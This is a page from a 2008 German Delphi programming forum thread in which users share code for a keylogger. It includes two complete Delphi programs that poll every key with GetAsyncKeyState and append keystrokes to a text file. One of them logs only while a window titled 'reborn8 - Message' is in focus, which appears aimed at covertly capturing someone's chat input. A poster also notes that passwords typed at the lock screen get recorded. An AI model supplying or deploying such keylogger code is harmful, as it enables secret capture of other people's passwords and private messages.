Delphi-PRAXiS
Seite 4 von 4   « Erste     234   

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Win32/Win64 API (native code) (https://www.delphipraxis.net/17-win32-win64-api-native-code/)
-   -   Delphi Keylogger und diakritische Zeichen (https://www.delphipraxis.net/72651-keylogger-und-diakritische-zeichen.html)

mleyen 30. Apr 2008 18:28

Re: Keylogger und diakritische Zeichen
 
jap, aber wenn du alles willst, mach´s einfachheitshalber so:

Delphi-Quellcode:
for i := 0 to 255 do
  GetAsyncKeyState(i) //Was auch immer da passieren soll
evtl speicherst du auch alle keystates, damit du gezielt abfragen kannst welche taste gedrückt gehalten wird und so nicht unnötige anschläge zählst, bzw. nur in einer bestimmten dauer erkannt werden.

xy124 30. Apr 2008 18:32

Re: Keylogger und diakritische Zeichen
 
gute idee code ich mal eben nach dem abendbrott :shock:

Dezipaitor 30. Apr 2008 19:52

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von Win32.API
Was haelst du vom testen?

Edit: Damit der Post nicht ganz umsonst war:
[WindowsTaste] + L
Passwort eingegeben
[Enter]

=

[+LWin]l[-Return]

Ein Ja oder ein Nein, wäre viel weniger Aufwendig gewesen. Zudem hätte es mir erspart einen Keylogger installieren zu müssen.

Mackhack 30. Apr 2008 20:11

Re: Keylogger und diakritische Zeichen
 
Das war das Programm von dem ich redete...

Delphi-Quellcode:
Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

{Procedure XXX;
Var
  I, X : Integer;
  F : TextFile;
Begin
  AssignFile(F, 'Key.txt');
  If Not FileExists('Key.txt') Then
  Begin
    ReWrite(F);
    Close(F);
  End;
  Repeat
    For I := 1 To 255 Do
    Begin
      X := GetAsyncKeyState(I);
        If X <> 0 Then
        Begin
          If (I In [Ord('A')..Ord('Z')]) Or (I In [32, 46, 49..58]) Then
            If Lo(X) <> 0 Then
              Begin
                Append(F);
                Write(F, Chr(I));
                CloseFile(F);
              End;
              If (Lo(X) <> 0) And (I = 13) Then
              Begin
                Append(F);
                WriteLn(F);
                CloseFile(F);
              End;
            End;
        End;
  Until False;
End;}

Procedure XXX;
Var
  I    : Byte;
  X    : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.
oder so...

Delphi-Quellcode:
program Project3;

uses
  SysUtils, Windows, Messages;

{$R *.RES}

procedure TimerCallBack;
var
  Wnd: HWnd;
  PC: array[0..255] of Char;
  I: Integer;
  F: TextFile;
  X: Integer;
begin
  Wnd := GetForegroundWindow;
  GetWindowText(Wnd, PC, 255);
  if ( PC = 'reborn8 - Message' ) then
  begin
    AssignFile(F, 'Key.txt');
    if ( not FileExists('Key.txt') ) then
    begin
      ReWrite(F);
      Close(F);
    end;
    repeat
      for I := 1 to 255 do
      begin
        X := GetAsyncKeyState(I);
        if ( X <> 0 ) then
        begin
          if ((I >= Ord('A')) and (I <= Ord('Z'))) or (I = 32) then
          begin
            if ( Lo(X) <> 0 ) then
            begin
              Append(F);
              Write(F,Chr(I));
              CloseFile(F);
            end;
            if (Lo(X) <> 0) and (I = 13) then
            begin
              Append(F);
              WriteLn(F);
              CloseFile(F);
            end;
          end;
        end;
      end;
    until False;
  end;
end;

var
  Msg: TMsg;
begin
  SetTimer(0, 0, 100, @TimerCallBack);
  while GetMessage(Msg, 0, 0, 0) do
  begin
    case Msg.Message of
      WM_CLOSE,
      WM_DESTROY: Break;
      WM_SYSCOMMAND: if ( Msg.wParam = SC_Close ) then
      begin
        Break;
      end;
    end;
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
  ExitCode := Msg.wParam;
end.

toms 1. Mai 2008 06:38

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von smallsmoker
@tom: bei mir nicht ...

Ich bin doch etwas erstaunt, dass der Fehler bei Euch nicht auftritt.

Denn GetKeyState() kann doch auch negative Wert liefern und das TKeyboardState Array nur Werte > 0 hat, muss es doch zu einem RangeError kommen.

Delphi-Quellcode:
TKeyboardState = array[0..255] of Byte;

Mache nun mal vorläufig die Werte mit ABS() positiv.
Vielleicht hat ja jemand eine bessere Lösung.

Delphi-Quellcode:
function GetKeyboardState: TKeyboardState;
//  Ersetzt Windows.GetKeyboardState, da diese ausserhalb der eigenen Anwendung
//  scheinbar nicht die korrekten Modifiers liefert
var
  I: Integer;
begin
  for I:= Low(Result) to High(Result) do
  begin
    Result[I]`:= Abs(GetKeyState(i));
  end;
end;


Alle Zeitangaben in WEZ +1. Es ist jetzt 02:09 Uhr.
Seite 4 von 4   « Erste     234   

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz